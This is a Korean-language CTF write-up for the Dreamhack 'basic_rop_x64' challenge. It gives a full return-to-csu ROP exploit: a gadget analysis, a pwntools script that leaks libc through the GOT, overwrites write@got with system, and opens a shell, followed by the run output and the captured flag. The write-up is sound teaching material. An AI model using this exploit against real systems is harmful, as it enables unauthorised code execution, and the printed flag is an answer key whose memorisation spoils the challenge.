이번에는 Return-to-Csu 기법을 사용해서 풀어보겠습니다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
0x00000000004007e7 <+45>: lea rax,[rbp-0x40] // rax = buf
0x00000000004007eb <+49>: mov edx,0x400 // edx = 0x400
0x00000000004007f0 <+54>: mov rsi,rax // rsi = buf
0x00000000004007f3 <+57>: mov edi,0x0 // edi = 0x0
0x00000000004007f8 <+62>: call 0x4005f0 <read@plt> // read(0, buf, 0x400)
1. 필요한 정보 구하기
2. ASLR 우회를 위해 BSS 영역에 "/bin/sh" 저장
3. write@got를 system 실제 주소로 got overwrite
4. "/bin/sh" 인자로 write() 호출 -> system("/bin/sh")가 호출 됨
gdb-peda$ pdisas __libc_csu_init
0x0000000000400860 <+64>: mov rdx,r13
0x0000000000400863 <+67>: mov rsi,r14
0x0000000000400866 <+70>: mov edi,r15d
0x0000000000400869 <+73>: call QWORD PTR [r12+rbx*8]
0x000000000040086d <+77>: add rbx,0x1
0x0000000000400871 <+81>: cmp rbx,rbp
0x0000000000400874 <+84>: jne 0x400860 <__libc_csu_init+64>
0x0000000000400876 <+86>: add rsp,0x8
0x000000000040087a <+90>: pop rbx
0x000000000040087b <+91>: pop rbp
0x000000000040087c <+92>: pop r12
0x000000000040087e <+94>: pop r13
0x0000000000400880 <+96>: pop r14
0x0000000000400882 <+98>: pop r15
0x0000000000400884 <+100>: ret
csu_init1 = 0x40087a
csu_init2 = 0x400860
call 계산식을 위해 rbx는 0, 여러 함수를 호출하기 위해 rbp는 1로 고정합니다.
function에는 호출할 함수의 got가 들어가고 나머지 레지스터에는 호출할 함수의 인자 값이 거꾸로 들어갑니다.
1) read 함수의 실제 주소 leak
rbx = 0
rbp = 1
r12 = write@got
r13 = 8
r14 = read@got
r15 = 1
write(1, read@got, 8)
2) ASLR 우회를 위해 BSS 영역에 "/bin/sh" 저장
rbx = 0
rbp = 1
r12 = read@got
r13 = 8
r14 = bss
r15 = 0
read(0, bss, 8)
3) write@got를 system 실제 주소로 got overwrite
rbx = 0
rbp = 1
r12 = read@got
r13 = 8
r14 = write@got
r15 = 0
read(0, write@got, 8)
4) "/bin/sh" 인자로 write() 호출 -> system("/bin/sh")가 호출됨
rbx = 0
rbp = 1
r12 = write@got
r13 = 0
r14 = 0
r15 = bss
write(bss)
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = remote("host1.dreamhack.games", 9903)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")
#context.log_level = 'debug'
# [1] 정보 수집
read_got = e.got["read"]
write_got = e.got["write"]
read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
csu_init1 = 0x40087a
csu_init2 = 0x400860
bss = e.bss()
dummy = b'A'*8
payload = b'A'*72
# [2] write(1, read@got, 8) => read 함수의 실제 주소 출력
payload += p64(csu_init1)
payload += p64(0)
payload += p64(1)
payload += p64(write_got)
payload += p64(8)
payload += p64(read_got)
payload += p64(1)
payload += p64(csu_init2)
# [3] read(0, bss, 8) => bss 영역에 "/bin/sh" 쓰기
payload += dummy
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(8)
payload += p64(bss)
payload += p64(0)
payload += p64(csu_init2)
# [4] read(0, write@got, 8) => write@got를 system으로 overwrite
payload += dummy
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(8)
payload += p64(write_got)
payload += p64(0)
payload += p64(csu_init2)
# [5] write("/bin/sh") => system("/bin/sh")가 호출 됨
payload += dummy
payload += p64(0)
payload += p64(1)
payload += p64(write_got)
payload += p64(0)
payload += p64(0)
payload += p64(bss)
payload += p64(csu_init2)
# [6] payload, data 전송
p.send(payload)
p.recvuntil(b'A'*64)
read = u64(p.recvn(6)+b'\x00'*2)
lb = read - read_offset
system = lb + system_offset
slog("bss", bss)
slog("libc base", lb)
slog("read", read)
slog("system", system)
p.send(b"/bin/sh\x00")
p.send(p64(system))
p.interactive()
익스플로잇 코드를 실행시켜보면
$ python3 rtc.py
[+] Opening connection to host1.dreamhack.games on port 9903: Done
[*] '/home/ion/wargame/basic_rop_x64/basic_rop_x64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/ion/wargame/basic_rop_x64/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] bss: 0x601070
[+] libc base: 0x7f4837399000
[+] read: 0x7f4837490250
[+] system: 0x7f48373de390
[*] Switching to interactive mode
\x00$
공격에 성공해서 쉘이 떴습니다.
flag 파일을 출력해보면
$ ls
basic_rop_x64
flag
$ cat flag
DH{357ad9f7c0c54cf85b49dd6b7765fe54}